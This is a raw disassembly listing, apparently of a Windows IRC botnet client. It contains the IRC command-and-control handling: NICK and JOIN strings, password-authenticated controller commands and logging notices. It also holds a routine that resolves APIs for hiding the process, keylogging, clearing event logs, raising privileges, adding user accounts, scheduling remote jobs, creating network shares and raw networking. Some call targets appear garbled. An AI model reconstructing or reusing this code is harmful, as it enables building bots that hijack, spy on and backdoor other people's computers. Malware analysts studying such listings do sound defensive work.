; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D64 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D38 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2EC push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D20 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A250 push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429D00 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CE0 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CBC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C9C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call near ptr 2670EEFh nop loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C74 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C50 loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDCC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB89C push ebx inc esi call sub_41CAD4 push offset asc_429C4C ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BCC jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_429160 loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B78 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B58 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B38 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB894, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA34 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA34 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h nop call near ptr 2670EEFh locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA90, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CBA04, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9E8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8F8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB8A4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8D4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB94C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA44, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBAA0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB904, eax call esi cmp dword_4CBA90, ebx mov dword_4CB8EC, eax jz short loc_409A07 cmp dword_4CBA04, ebx jz short loc_409A07 cmp dword_4CB9E8, ebx jz short loc_409A07 cmp dword_4CB8F8, ebx jz short loc_409A07 cmp dword_4CB8D4, ebx jz short loc_409A07 cmp dword_4CB94C, ebx jz short loc_409A07 cmp dword_4CBA44, ebx jz short loc_409A07 cmp dword_4CBAA0, ebx jz short loc_409A07 cmp dword_4CB904, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBAA4, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA1C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj nop call near ptr 26808B7h mov dword_4CBAA8, eax mov dword_4CBAA4, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26A0BB9h mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA40, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9F0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB984, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA94, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9B4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9D4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA38, eax call esi cmp dword_4CBA40, ebx mov dword_4CB924, eax jz short loc_409AF7 cmp dword_4CB9F0, ebx jz short loc_409AF7 cmp dword_4CB984, ebx jz short loc_409AF7 cmp dword_4CBA94, ebx jz short loc_409AF7 cmp dword_4CB9B4, ebx jz short loc_409AF7 cmp dword_4CB9D4, ebx jz short loc_409AF7 cmp dword_4CBA38, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBAAC, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9B0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8B8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB980, eax call esi cmp dword_4CB9B0, ebx mov dword_4CB968, eax jz short loc_409B5E cmp dword_4CB8B8, ebx jz short loc_409B5E cmp dword_4CB980, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j call near ptr 26808B7h nop mov dword_4CBAB0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBAAC, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA54, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB998, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CBA08, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8E4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB948, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9C0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB964, eax call esi cmp dword_4CBA54, ebx mov dword_4CB974, eax jz short loc_409C11 cmp dword_4CB998, ebx jz short loc_409C11 cmp dword_4CBA08, ebx jz short loc_409C11 cmp dword_4CB8E4, ebx jz short loc_409C11 cmp dword_4CB948, ebx jz short loc_409C11 cmp dword_4CB9C0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAB4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9C8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB9A0, eax call esi cmp dword_4CB9C8, ebx mov dword_4CBA50, eax jz short loc_409C56 cmp dword_4CB9A0, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAB4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9D8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8C0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8C8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB92C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB930, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8DC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB9A4, eax call esi cmp dword_4CB9D8, ebx mov dword_4CB8CC, eax jz short loc_409D04 cmp dword_4CB8C0, ebx jz short loc_409D04 cmp dword_4CB8C8, ebx jz short loc_409D04 cmp dword_4CB92C, ebx jz short loc_409D04 cmp dword_4CB930, ebx jz short loc_409D04 cmp dword_4CB8DC, ebx jz short loc_409D04 cmp dword_4CB9A4, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAB4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8C4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj call near ptr 26808B7h nop mov dword_4CBAB8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAB4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9D0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA28, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA30, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9EC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB908, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8B4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA2C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB8A0, eax call esi cmp dword_4CB9D0, ebx mov dword_4CB940, eax jz short loc_409E0D cmp dword_4CBA28, ebx jz short loc_409E0D cmp dword_4CBA30, ebx jz short loc_409E0D cmp dword_4CB9EC, ebx jz short loc_409E0D cmp dword_4CB908, ebx jz short loc_409E0D cmp dword_4CB8B4, ebx jz short loc_409E0D cmp dword_4CBA2C, ebx jz short loc_409E0D cmp dword_4CB8A0, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j nop call near ptr 26808B7h mov dword_4CBAC0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBABC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB954, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA88, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8F4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8D0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB990, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB978, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB93C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA64, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA80, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB98C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA70, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA24, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9E4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9E0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB914, eax call esi push offset aSend ; "send" push edi mov dword_4CB90C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA34, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA48, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9FC, eax call esi mov dword_4CB9BC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA10, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9CC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CBA0C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA78, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9C4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB988, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9F8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA68, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB99C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB938, eax call esi cmp dword_4CB954, ebx mov dword_4CBA7C, eax jz loc_40A0DE cmp dword_4CBA88, ebx jz loc_40A0DE cmp dword_4CB8F4, ebx jz loc_40A0DE cmp dword_4CB990, ebx jz loc_40A0DE cmp dword_4CB978, ebx jz loc_40A0DE cmp dword_4CB93C, ebx jz loc_40A0DE cmp dword_4CBA64, ebx jz loc_40A0DE cmp dword_4CBA80, ebx jz loc_40A0DE cmp dword_4CB98C, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CBA24, ebx jz loc_40A0DE cmp dword_4CB9E4, ebx jz loc_40A0DE cmp dword_4CB9E0, ebx jz loc_40A0DE cmp dword_4CB914, ebx jz short loc_40A0DE cmp dword_4CBA34, ebx jz short loc_40A0DE cmp dword_4CBA48, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CBA10, ebx jz short loc_40A0DE cmp dword_4CB9CC, ebx jz short loc_40A0DE cmp dword_4CBA0C, ebx jz short loc_40A0DE cmp dword_4CBA78, ebx jz short loc_40A0DE cmp dword_4CB9C4, ebx jz short loc_40A0DE cmp dword_4CB988, ebx jz short loc_40A0DE cmp dword_4CB9F8, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB99C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj nop call near ptr 26808B7h mov dword_4CBAC8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAC4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB920, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB8A8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB9AC, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB958, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9B8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB97C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8E8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8E0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB920, ebx mov ecx, dword_4CB97C mov dword_4CBA18, eax jz short loc_40A1C9 cmp dword_4CB8A8, ebx jz short loc_40A1C9 cmp dword_4CB9AC, ebx jz short loc_40A1C9 cmp dword_4CB958, ebx jz short loc_40A1C9 cmp dword_4CB9B8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8E8, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp dword_4CB8F0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBACC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB994, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj call near ptr 26808B7h nop mov dword_4CBAD0, eax mov dword_4CBACC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB994, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB96C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA9C, eax call esi cmp dword_4CB96C, ebx mov dword_4CB8FC, eax jz short loc_40A25D cmp dword_4CBA9C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj nop call near ptr 26808B7h mov dword_4CBAD8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAD4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8D8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8B0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB928, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB95C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA74, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB910, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8BC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB8AC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB944, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA3C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9F4, eax call esi cmp dword_4CB8D8, ebx mov dword_4CB918, eax jz short loc_40A379 cmp dword_4CB8B0, ebx jz short loc_40A379 cmp dword_4CB928, ebx jz short loc_40A379 cmp dword_4CB95C, ebx jz short loc_40A379 cmp dword_4CBA74, ebx jz short loc_40A379 cmp dword_4CB910, ebx jz short loc_40A379 cmp dword_4CB8BC, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB944, ebx jz short loc_40A379 cmp dword_4CBA3C, ebx jz short loc_40A379 cmp dword_4CB9F4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j nop call near ptr 26808B7h mov dword_4CBAE0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBADC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB900, eax call esi cmp dword_4CB900, ebx mov dword_4CB9DC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j nop call near ptr 26808B7h mov dword_4CBAE8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAE4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA60, eax call esi cmp dword_4CBA60, ebx mov dword_4CBA5C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj call near ptr 26808B7h nop mov dword_4CBAF0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBAEC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" 